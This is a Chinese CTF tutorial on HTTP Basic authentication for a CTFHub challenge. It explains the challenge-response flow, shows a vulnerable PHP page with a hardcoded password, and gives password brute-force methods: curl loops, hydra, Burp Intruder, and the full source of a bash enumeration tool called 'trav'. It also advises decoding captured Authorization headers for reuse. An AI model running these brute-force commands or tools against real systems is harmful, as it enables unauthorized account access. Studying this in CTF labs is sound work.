基本认证 — 考点精讲
前置知识:HTTP 协议基础 — 先了解 HTTP 协议基础再来看本考点
原理精讲 — Basic 认证是怎么工作的?
Basic 认证流程
HTTP Basic 认证是 Web 上最古老的认证方式:客户端请求受保护资源 → 服务器返回 401 + WWW-Authenticate: Basic realm="提示" → 客户端把 用户名:密码 做 base64 编码放进 Authorization 头 → 服务器解码比对。
sequenceDiagram participant C as 客户端 (curl/浏览器) participant S as 服务器 C->>S: 1. GET /flag.html (无凭据) S-->>C: 2. 401 Unauthorized<br/>WWW-Authenticate: Basic realm="Do u know admin ?" Note over C: 客户端拼接 用户名:密码 C->>S: 3. GET /flag.html<br/>Authorization: Basic YWRtaW46eWFua2Vlcw== S->>S: base64 解码,比对账号密码 S-->>C: 4. 200 OK + flag
- 挑战:服务器返回
401+WWW-Authenticate: Basic realm="提示信息",要求认证 - 应答:客户端把
用户名:密码拼成admin:yankees,再做 base64 编码,放进请求头Authorization: Basic YWRtaW46eWFua2Vlcw== - 校验:服务器 base64 解码后比对明文账号密码,正确则返回 200
关键:base64 只是编码,不是加密
Authorization 头里的内容只要 base64 解码就是明文的 用户名:密码。所以抓到一个合法的 Basic 认证请求,等于直接拿到账号密码。这也意味着:只要密码是弱密码,字典爆破就是纯枚举问题。
服务器端逻辑(密码硬编码、无防爆破机制):
<?php
// 要求 Authorization: Basic base64(账号:密码)
if ($_SERVER['PHP_AUTH_USER'] === "admin" && $_SERVER['PHP_AUTH_PW'] === "yankees") {
echo $flag; // 凭据正确 -> 返回 flag
} else {
header("HTTP/1.1 401 Unauthorized");
header("WWW-Authenticate: Basic realm=\"Do u know admin ?\"");
}
?>realm 提示信息
WWW-Authenticate 里的 realm 参数是给客户端的提示,CTF 题常在这里藏线索——如 “Do u know admin ?” 暗示用户名是 admin。
注意事项
| 易错点 | 说明 |
|---|---|
| 认证头格式 | Authorization: Basic <base64>,-u 自动生成,等价手工构造 |
| 判定成功 | 爆破时按 200 判定;如果服务器成功/失败返回 302 或其他码,先手动确认判别依据 |
| base64 等号 | 有些实现要求去掉 = 填充符,手工构造头时注意 |
| realm 线索 | 用户名/密码可能藏在 realm、页面注释、附件字典名里 |
| 用户名不一定 admin | 如果爆破不中,检查用户名线索(字典/提示),可能是别的名字 |
遍历工具 — 第一次遇到”挨个试”:从手写到 trav
密码爆破的本质是遍历:把候选值(密码)一个一个试,直到命中。这是本知识库第一次遇到遍历场景,先明确遍历的三条路线,之后所有”挨个试”的题都用同一套思路。
路线一:自己一个一个试(手动)
候选很少时(如知道密码是某个单词)直接手动:
curl -s -u "admin:yankees" http://目标/flag.html手动适合候选少、有明确猜测的情况。密码字典几百行时手动不可行。
路线二:自己写脚本(循环 + curl)
把”试”变成循环,命中就停:
while read -r pw; do
code=$(curl -s -o /dev/null -w "%{http_code}" -u "admin:$pw" http://目标/flag.html)
[ "$code" = "200" ] && echo "HIT: admin:$pw" && break
done < pw.txt也可以用现成的 hydra 一键爆破:
hydra -l admin -P pw.txt http://目标 http-get /flag.html自己写脚本的好处是完全可控(判定逻辑、输出、后续处理都能定制);缺点是每次都要重写一遍循环模板。
路线三:用现成的遍历工具 — trav(本知识库自研)
把上面这条”值空间 × 判别规则”的循环抽成通用工具,就是 trav。候选值怎么来、命中看什么条件、命中后怎么处理,全参数化,一条命令完成。
安装(~/.local/bin/trav 已加入 PATH):
# 脚本本体
trav --help用法一句话:trav <URL前缀> "<候选值>" <判定条件> [选项]
| 候选值写法 | 说明 |
|---|---|
"a&b&c" | 用 & 分隔的候选值 |
"@pw.txt" | 从字典文件读,每行一个 |
"{1..100}" | 数字范围 |
--ext ".zip&.tar.gz" | 再加一组候选值,两两组合 |
| 判定条件 | 说明 |
|---|---|
==200 | 状态码正好是 200 |
!=404 | 状态码不是 404(文件存在) |
contains:x | 响应内容包含 x |
grep:正则 | 匹配正则,并输出匹配的内容 |
| 选项 | 说明 |
|---|---|
--user admin | 候选值当密码,用 admin:密码 逐个试(基本认证场景) |
--recurse | 命中后继续往下一层目录找(目录遍历场景) |
--maxdepth N | 递归最多深入几层(默认 5) |
--threads N | 并发数,提速用(默认 1) |
本题用法:
trav http://目标/flag.html "@pw.txt" "==200" --user admin
# HIT: http://目标/flag.html -> 200 ← 密码是字典里试中的那一个--user admin 表示:URL 保持原样,候选值只当密码,用 admin:密码 逐行尝试,状态码 200 即命中。
trav 源码(纯 bash + curl,零依赖,可自行扩展):
#!/usr/bin/env bash
# trav -- 通用值空间遍历工具(CTF 解题 / 终端习惯)
# 值空间来源: 内联列表(a&b&c) / 字典文件(@file) / 生成器({1..10})
# 判别规则: ==CODE | !=CODE | contains:字符串 | grep:正则
# 命中处理: 打印 HIT; --recurse 时把命中值回填为下一轮 base 继续深入
# 注意: 多个值空间是纯字符串拼接, 分隔符(如 . 后缀前的点)由用户在值里写好
set -u
BASE="" SPACES="" RULE="" EXT_SPACE="" USER="" RECURSE=0 MAXDEPTH=5 TIMEOUT=5 THREADS=1
usage() {
cat <<'EOF'
trav -- 用一批候选值挨个探测 URL,命中的打出来
用法: trav <URL前缀> "<候选值>" <判定条件> [选项]
候选值写法:
"a&b&c" & 分隔
"@字典文件" 从文件读,每行一个
"{1..100}" 数字范围
判定条件:
==200 状态码正好是 200
!=404 状态码不是 404(文件存在)
contains:x 响应内容包含 x
grep:正则 匹配正则,并输出匹配的内容
选项:
--ext ".zip&.tar.gz" 再加一组候选值,两两组合(文件名×后缀)
--user admin 候选值当密码,用 admin:密码 逐个试
--recurse 命中后继续往下一层目录找
--maxdepth N 递归最多深入几层(默认 5)
--timeout N 每请求超时秒数(默认 5)
--threads N 并发数,提速用(默认 1)
示例:
trav http://x/ "@pw.txt" "==200" --user admin
trav http://x/ "web&www&backup" "!=404" --ext ".zip&.tar.gz"
trav http://x/flag_in_here/ "1&2&3" "==200" --recurse
EOF
exit 1
}
[ $# -lt 3 ] && usage
POS=()
while [ $# -gt 0 ]; do
case "$1" in
--ext) EXT_SPACE="$2"; shift 2 ;;
--user) USER="$2"; shift 2 ;;
--recurse) RECURSE=1; shift ;;
--maxdepth) MAXDEPTH="$2"; shift 2 ;;
--timeout) TIMEOUT="$2"; shift 2 ;;
--threads) THREADS="$2"; shift 2 ;;
-h|--help) usage ;;
--*) echo "未知选项: $1" >&2; usage ;;
*) POS+=("$1"); shift ;;
esac
done
[ ${#POS[@]} -ge 3 ] || usage
BASE="${POS[0]}"; SPACES="${POS[1]}"; RULE="${POS[2]}"
[ "$RECURSE" = 1 ] && THREADS=1
# 值空间展开: 每行输出一个候选值
expand() {
case "$1" in
@*) cat "${1#@}" ;;
\{*\}) eval "echo $1" | tr ' ' '\n' ;;
*) echo "$1" | tr '&' '\n' ;;
esac
}
join_url() { # $1=base $2=值
# --user 时值仅作密码,URL 保持原样
if [ -n "$USER" ] && [[ "$1" != *"{}"* ]]; then
echo "$1"; return
fi
case "$1" in
*\{\}*) echo "${1//\{\}/$2}" ;;
*/) echo "${1}${2}" ;;
*) echo "${1}/${2}" ;;
esac
}
# 单值探测: $1=完整URL $2=候选值 $3=当前深度
probe() {
local url="$1" val="$2" depth="$3" resp code body
if [ -n "$USER" ]; then
resp=$(curl -sL --max-time "$TIMEOUT" -u "$USER:$val" -w $'\n%{http_code}' "$url")
else
resp=$(curl -sL --max-time "$TIMEOUT" -w $'\n%{http_code}' "$url")
fi
code="${resp##*$'\n'}"
body="${resp%$'\n'*}"
case "$RULE" in
==*) [ "$code" = "${RULE#==}" ] || return 1 ;;
!=*) [ "$code" != "${RULE#!=}" ] || return 1 ;;
contains:*) [[ "$body" == *"${RULE#contains:}"* ]] || return 1 ;;
grep:*) grep -qE "${RULE#grep:}" <<<"$body" || return 1 ;;
*) echo "未知判别规则: $RULE" >&2; exit 1 ;;
esac
echo "HIT: $url -> $code"
case "$RULE" in
grep:*) echo "$body" | grep -oE "${RULE#grep:}" | sed 's/^/ /' ;;
contains:*) echo " ...${RULE#contains:}..." ;;
esac
if [ "$RECURSE" = 1 ] && [ "$depth" -lt "$MAXDEPTH" ]; then
run "$url" "$((depth + 1))"
fi
}
# 主循环: $1=base $2=当前深度
run() {
local base="$1" depth="$2" c e
local cand exts
mapfile -t cand < <(expand "$SPACES")
if [ -n "$EXT_SPACE" ]; then
mapfile -t exts < <(expand "$EXT_SPACE")
else
exts=("")
fi
for c in "${cand[@]}"; do
for e in "${exts[@]}"; do
probe "$(join_url "$base" "$c$e")" "$c" "$depth"
done
done
}
if [ "$THREADS" -gt 1 ]; then
[ -n "$EXT_SPACE" ] && { echo "警告: --threads 并行模式不支持 --ext,已忽略" >&2; }
pids=()
while IFS= read -r c; do
probe "$(join_url "$BASE" "$c")" "$c" 1 &
pids+=("$!")
if [ "${#pids[@]}" -ge "$THREADS" ]; then
wait -n 2>/dev/null
alive=()
for p in "${pids[@]}"; do
kill -0 "$p" 2>/dev/null && alive+=("$p")
done
pids=("${alive[@]}")
fi
done < <(expand "$SPACES")
wait
exit 0
fi
run "$BASE" 1trav 的详细介绍(安装、原理、与 gobuster/ffuf 的分工)见 遍历脚本。之后遇到的所有”挨个试”题目(目录遍历、备份文件)都会直接用 trav。
题目解法
CTFHub 技能树位置:CTFHub → Web → Web 前置技能 → HTTP 协议 → 基础认证
解法(curl 终端):
# 1. 先请求受保护页面,观察响应头,确认认证方式
curl -s -D - http://目标/flag.html
# 看到 401 + WWW-Authenticate: Basic realm="Do u know admin ?"
# 2. 带凭据请求(realm 提示用户名是 admin,密码在题目附件的字典里)
curl -s -u "admin:yankees" http://目标/flag.html
# 输出直接就是 flag
# 3. 不知道密码就用 trav 拿附件字典爆破
trav http://目标/flag.html "@10_million_password_list_top_100.txt" "==200" --user admin解法(Burp Suite 图形化):
- 浏览器配置代理到 Burp,访问
/flag.html,看到响应401+WWW-Authenticate - Repeater 里给请求加
Authorization: Basic <base64>头,或 Intruder 对密码做字典爆破(payload 处理:加前缀admin:→ Base64 编码 → 取消 URL 编码) - 找到状态码 200 的那条,解码就是正确的
用户名:密码
同类变式(做题时按序试)
| 考点 | 尝试 |
|---|---|
| 用户名线索 | 看 realm 提示、页面源码注释、字典文件名(如 user.txt) |
| 弱密码爆破 | rockyou 常见密码表、网站默认密码、题目相关词(ctfhub/admin/flag) |
| 认证头手工构造 | curl -H "Authorization: Basic $(echo -n 'admin:yankees' | base64)" |
| 解码已有凭据 | 抓到别人的 Authorization 头,base64 解码直接复用 |
| 其他认证方式 | Digest 认证(HTTP 摘要认证)、JWT 认证,机制不同需另学 |
核心知识点总结
| 概念 | 说明 |
|---|---|
| 401 Unauthorized | 服务器要求认证的状态码 |
| WWW-Authenticate | 响应头,声明认证方式:Basic realm="提示" |
| Authorization | 请求头,携带凭据:Basic base64(用户名:密码) |
| base64 的本质 | 编码而非加密,解码即明文 |
| realm | 认证提示信息,常藏用户名/密码线索 |
| curl -u | 自动生成 Basic 认证头 |
| 遍历三路线 | 手动逐个试 / 自己写循环 / 现成工具 trav |
| trav —user | 候选值当密码,URL 保持原样 |
| hydra | 现成爆破工具:hydra -l 用户 -P 字典 目标 http-get /路径 |
| 防御角度 | 弱密码 + 无防爆破 = 字典攻击秒破 |
关联教程
- HTTP 协议基础 — CTF 中 HTTP 相关考点总览
- 请求方式 — 自定义 HTTP 方法解题
- 302 跳转 — 重定向响应中隐藏 flag
- Cookie — 篡改 Cookie 获取 flag
- 源代码 — 响应包源码中查找 flag
- 遍历脚本 — trav 工具完整文档
- 01-计算机网络基础 — OSI 模型与 TCP/IP 协议栈
- 02-Web技术基础 — HTTP 协议完整解析(请求/响应/缓存/认证)
- 09-认证与授权基础 — 认证体系与常见认证漏洞
- 01-在线密码攻击大师课 — hydra 等在线密码攻击工具深入使用
- 01-Web基础与HTTP协议 — Web 安全实战场景
- Web 方向总览 — Web 方向 CTF 题型与思路总览
- 总目录与快速查询 — 红队完整知识体系